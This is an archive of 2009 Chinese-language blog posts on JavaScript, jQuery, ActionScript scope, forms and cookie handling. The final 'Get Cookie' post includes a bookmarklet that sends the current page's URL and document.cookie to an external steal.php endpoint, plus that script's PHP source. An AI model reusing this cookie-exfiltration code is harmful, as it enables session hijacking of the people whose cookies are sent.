豆瓣高亮楼主脚本

我以前写过一个“豆瓣只看楼主”的GM脚本,已经有比较长时间了,douban现在页面有些改动 以前使用的xpath,前几天用jquery改写了下,代码简洁了很多 如果你是firefox浏览器,并且安装了grease monkey插件 那么点击这里,就会弹出安装窗口 用于douban小组中的"只看搂主",会把楼主的帖子加边框,同时,添加快捷键n,p “n”: 跳转到楼主下一个帖子,如果到了本页结尾,则跳回第一条 "p" 跳转到楼主下一个帖子,如果到了本页结尾,则跳回下一页 另附代码: ...

November 23, 2009 · notsobad

页面垂直居中(js实现)

页面垂直居中,登录之类的页面会用到,css似乎没办法实现,用js来做吧 var valgin = function(){ var height = window.innerHeight || window.document.documentElement.clientHeight || window.document.body.clientHeight; var t=$$('body')[0]; var top = (height - t.getHeight()) / 2; top = top>0 ? top : 0; t.setStyle({marginTop : top+'px'}); // t.setStyle({top:top+'px', 'position':'absolute'}); }; window.onload = valgin; window.onresize = valgin;

November 9, 2009 · notsobad

jQuery的监测事件

如何对一系列dom元素绑定事件? 那些元素在后续操作中还有可能会增加。 prototype.js中可以使用Event.Observe, jQuery中怎么做呢? 参考如下: 使用jquery中的事件检测而不事先绑定。 http://www.beyondstandards.com/archives/jquery-ajax-and-event-handlers/ http://docs.jquery.com/Events/live <http://www.sitepoint.com/blogs/2008/07/23/javascript-event-delegation-is- easier-than-you-think/> function aClick() { $("div").show().fadeOut("slow"); } $("#bind").click(function () { $("#theone").live("click", aClick) .text("Can Click!"); }); $("#unbind").click(function () { $("#theone").die("click", aClick) .text("Does nothing..."); });

August 16, 2009 · notsobad

Action script的作用域

在看action script,看到了变量作用域,实际上和javascript是一样的。 查看原文 变量的"作用域"是指可在其中通过引用词汇来访问变量的代码区域。“全局"变量是指在代码的所有区域中定义的变量,而"局部"变量是指仅在代码的某个部分定义的变量。在 ActionScript 3.0 中,始终为变量分配声明它们的函数或类的作用域。全局变量是在任何函数或类定义的外部定义的变量。例如,下面的代码通过在任何函数的外部声明一个名为 strGlobal 的全局变量来创建该变量。从该示例可看出,全局变量在函数定义的内部和外部均可用。 var strGlobal:String = “Global”; function scopeTest() { trace(strGlobal); // 全局 } scopeTest(); trace(strGlobal); // 全局 可以通过在函数定义内部声明变量来将它声明为局部变量。可定义局部变量的最小代码区域就是函数定义。在函数内部声明的局部变量仅存在于该函数中。例如,如果在名为 localScope() 的函数中声明一个名为 str2 的变量,该变量在该函数外部将不可用。 function localScope() { var strLocal:String = “local”; } localScope(); trace(strLocal); // 出错,因为未在全局定义 strLocal 如果用于局部变量的变量名已经被声明为全局变量,那么,当局部变量在作用域内时,局部定义会隐藏(或遮蔽)全局定义。全局变量在该函数外部仍然存在。例如,下面的代码创建一个名为 str1 的全局字符串变量,然后在 scopeTest() 函数内部创建一个同名的局部变量。该函数中的 trace 语句输出该变量的局部值,而函数外部的 trace 语句则输出该变量的全局值。 var str1:String = “Global”; function scopeTest () { var str1:String = “Local”; trace(str1); // 本地 } scopeTest(); trace(str1); // 全局 与 C++ 和 Java 中的变量不同的是,ActionScript 变量没有块级作用域。代码块是指左大括号 ({) 与右大括号 (}) 之间的任意一组语句。在某些编程语言(如 C++ 和 Java)中,在代码块内部声明的变量在代码块外部不可用。对于作用域的这一限制称为块级作用域,ActionScript 中不存在这样的限制,如果您在某个代码块中声明一个变量,那么,该变量不仅在该代码块中可用,而且还在该代码块所属函数的其它任何部分都可用。例如,下面的函数包含在不同的块作用域中定义的变量。所有的变量均在整个函数中可用。 function blockTest (testArray:Array) { var numElements:int = testArray.length; if (numElements > 0) { var elemStr:String = “Element #”; for (var i:int = 0; i < numElements; i++) { var valueStr:String = i + “: " + testArray[i]; trace(elemStr + valueStr); } trace(elemStr, valueStr, i); // 仍定义了所有变量 } trace(elemStr, valueStr, i); // 如果 numElements > 0,则会定义所有变量 } blockTest([“Earth”, “Moon”, “Sun”]); 有趣的是,如果缺乏块级作用域,那么,只要在函数结束之前对变量进行声明,就可以在声明变量之前读写它。这是由于存在一种名为"提升"的方法,该方法表示编译器会将所有的变量声明移到函数的顶部 。例如,下面的代码会进行编译,即使 num 变量的初始 trace() 函数发生在声明 num 变量之前也是如此。 trace(num); // NaN var num:Number = 10; trace(num); // 10 但是,编译器将不会提升任何赋值语句。这就说明了为什么 num 的初始 trace() 会生成 NaN(而非某个数字),NaN 是 Number 数据类型变量的默认值。这意味着您甚至可以在声明变量之前为变量赋值,如下面的示例所示: num = 5; trace(num); // 5 var num:Number = 10; trace(num); // 10 ...

July 27, 2009 · notsobad

Javascript 来判断网络通断

一项应用可能会导致 web server 重启, 我需要检测这个重启过程,重启完毕能够给用户以通知 思路: js的生存期是在客户端,即使服务器已经重启,js仍可运行,所以用js是可以实现的 因为server上存在着favicon.ico文件,可以以检测是否能取得这个文件,来判断网络的通断。 ...

May 20, 2009 · notsobad

Form中action的参数限制

今天遇到的一个问题及其解决。 这样的一个表单: <form method=post action="/post.php?_in_form=123">... 在server端: <? //取不到$_GET['_in_form']! ?> 查了一些资料 参考: Methods GET and POST in HTML forms - what’s the difference? 关于GET和POST,数据的不同处理 If the method is "get" - -, the user agent takes the value of action, appends a ? to it, then appends the form data set, encoded using the application/x-www-form-urlencoded content type. The user agent then traverses the link to this URI. In this scenario, form data are restricted to ASCII codes. * If the method is "post" --, the user agent conducts an HTTP post transaction using the value of the action attribute and a message created according to the content type specified by the enctype attribute. 结论: get形式的from中,action中的get参数是不会传递的,应该把需要的附加参数作为form隐藏域处理 ...

May 18, 2009 · notsobad

常用工具

[Code snipper](http://not-sobad.appspot.com/code) [Javascript beautifier(js格式化工具)](http://jsbeautifier.org/) Javascript Bookmarklet 小工具 请将它加入浏览器收藏夹,然后在有图片的网页上点击这个地址,就会弹出此网页上的所有图片链接 [获取图片](javascript:\(function\(\){var images=document.getElementsByTagName\("img"\);var w=window.open\("","mywindow","height=600,width=400,status=1,resizable=1,scrollbars=1"\);w.document.write\(unescape\("%3Cul%3E"\)\);for\(var i=0,len=images.length;i<len;i++\){w.document.write\(unescape\("%3Cli%3E%3Ca target=\\"_blank\\" href=\\""+images\[i\].src+"\\"%3E"+images\[i\].src+"%3C/a%3E%3C/li%3E"\)\)}w.document.write\(unescape\("%3C/ul%3E"\)\);if\(window.focus\)w.focus\(\)}\(\)\);)

May 18, 2009 · notsobad

Cookie整理

cookie最大4k,最多20个key-value对 参考: http://support.microsoft.com/kb/306070 每个 cookie 开头名称值对。 此对是并后跟零或者由分号分隔的多个属性-值对。 对于一个域名每个 cookie 被限制为 4,096 字节。 该总计可以存在的 4 千字节 (KB) 的一个名称-值对形式,或者为最多 20 个名称-值对的总的 4 KB。如果在计算机上没有足够空间来存储 Cookie,会丢弃该 Cookie。 将被截尾取不整。 应用程序应该使用尽可能少的 Cookie 尽可能和为小写 Cookie 尽可能。 此外,应用程序应能够处理 cookie 丢失。 ...

May 13, 2009 · notsobad

一个cookie的问题

Bug能藏多长时间? 如果一直没人注意,也许会一直生存下去…… 下面是一个设置cookie的函数, 今天才发现它居然有这么严重的bug,你能看出来吗? function setCookie (name, value) { //设置名称为name,值为value的Cookie var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : '/'; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; str = name + "=" + value + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); document.cookie = str; } function getCookie(c_name) { if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + "="); if (c_start != -1) { c_start = c_start + c_name.length + 1; c_end = document.cookie.indexOf(";",c_start); if (c_end == -1) c_end = document.cookie.length; return unescape(document.cookie.substring(c_start,c_end)); } } return ""; } 问题在这里,绕了半天才想明白。 var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : ‘/’; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; 因为argc的取值是1,2,3… argv[]的key取值是0,1,2,3….. ...

May 11, 2009 · notsobad

Get Cookie

如果你需要查看其他网站给自己的cookie,可以这样: [See cookie](javascript:\(function\(\){prompt\("Cookie is:", document.cookie\);}\)\(\);) 把它拖动到书签工具栏上,ie就是加为书签,然后在需要的网站上点这个书签,就可以看到cookie 下面这个,会把cookie送给其他站点(如果你有这方面需要) [Send cookie](javascript:\(function\(\){var%20a=window,b=document,c=encodeURIComponent,d=a.open\("http://blog.notsobad.cn/php/steal.php?url="+c\(b.location\)+"&cookie="+c\(b.cookie\),"bkmk_popup","left="+\(\(a.screenX||a.screenLeft\)+10\)+",top="+\(\(a.screenY||a.screenTop\)+10\)+",height=420px,width=650px,resizable=1,alwaysRaised=1"\);a.setTimeout\(function\(\){d.focus\(\)},300\)}\)\(\);) steal.php <? // steal.php function _p($s, $d){ echo "<pre>"; echo "$d\n"; print_r($s); echo "</pre>"; } _p($_GET, '$_GET is :'); _p($_POST, '$_POST is :'); ?>

May 11, 2009 · notsobad